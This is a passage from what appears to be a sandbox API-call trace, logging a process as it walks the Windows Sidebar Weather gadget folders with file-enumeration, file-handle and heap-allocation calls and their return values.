dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0080.952] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.953] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="localizedSettings.css", cAlternateFileName="")) returned 1 [0080.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.953] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.953] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12310d8 [0080.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1231308) returned 1 [0080.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff778 [0080.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12311e0 [0080.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6300) returned 0x1250a90 [0080.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124a7c8) returned 1 [0080.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.955] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2786, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0080.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff798 [0080.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1226da8 [0080.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.956] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x603c, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.css", cAlternateFileName="")) returned 1 [0080.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff7b8 [0080.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x124a698 [0080.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.957] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x603c, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.css", cAlternateFileName="")) returned 0 [0080.958] GetLastError () returned 0x12 [0080.958] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0080.958] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.958] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.958] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="localizedSettings.css", cAlternateFileName="")) returned 1 [0080.958] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2786, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0080.958] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x603c, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.css", cAlternateFileName="")) returned 1 [0080.958] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x603c, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.css", cAlternateFileName="")) returned 0 [0080.958] GetLastError () returned 0x12 [0080.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1230fd0) returned 1 [0080.958] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0080.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12310d8) returned 1 [0080.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1230ec8) returned 1 [0080.958] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0080.959] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0080.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1230ec8 [0080.959] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.959] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0080.959] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0080.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0080.959] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0080.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0080.960] NtClose (Handle=0x168) returned 0x0 [0080.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1230ec8) returned 1 [0080.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1231308 [0080.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1230ec8 [0080.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12310d8 [0080.961] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0080.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x71c, dwReserved0=0x0, dwReserved1=0x0, cFileName="highDpiImageSwap.js", cAlternateFileName="")) returned 1 [0080.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1230fd0 [0080.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1231308) returned 1 [0080.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff7d8 [0080.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1231308 [0080.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.962] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xab00, dwReserved0=0x0, dwReserved1=0x0, cFileName="library.js", cAlternateFileName="")) returned 1 [0080.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff7f8 [0080.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1231410 [0080.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.964] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x388c, dwReserved0=0x0, dwReserved1=0x0, cFileName="localizedStrings.js", cAlternateFileName="")) returned 1 [0080.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.964] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff818 [0080.964] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1231518 [0080.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.965] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe268, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0080.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.965] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.965] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff838 [0080.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1231620 [0080.966] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.966] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x210ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.js", cAlternateFileName="")) returned 1 [0080.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.966] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.966] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.967] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff858 [0080.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1231728 [0080.967] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.967] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x210ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.js", cAlternateFileName="")) returned 0 [0080.967] GetLastError () returned 0x12 [0080.967] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0080.967] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0080.968] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.968] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x71c, dwReserved0=0x0, dwReserved1=0x0, cFileName="highDpiImageSwap.js", cAlternateFileName="")) returned 1 [0080.968] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xab00, dwReserved0=0x0, dwReserved1=0x0, cFileName="library.js", cAlternateFileName="")) returned 1 [0080.968] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x388c, dwReserved0=0x0, dwReserved1=0x0, cFileName="localizedStrings.js", cAlternateFileName="")) returned 1 [0080.968] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe268, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0080.968] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x210ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.js", cAlternateFileName="")) returned 1 [0080.968] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x210ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.js", cAlternateFileName="")) returned 0 [0080.968] GetLastError () returned 0x12 [0080.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12310d8) returned 1 [0080.968] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1230fd0) returned 1 [0080.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1230ec8) returned 1 [0080.968] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x20be, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0080.968] FindNextFileW (in: 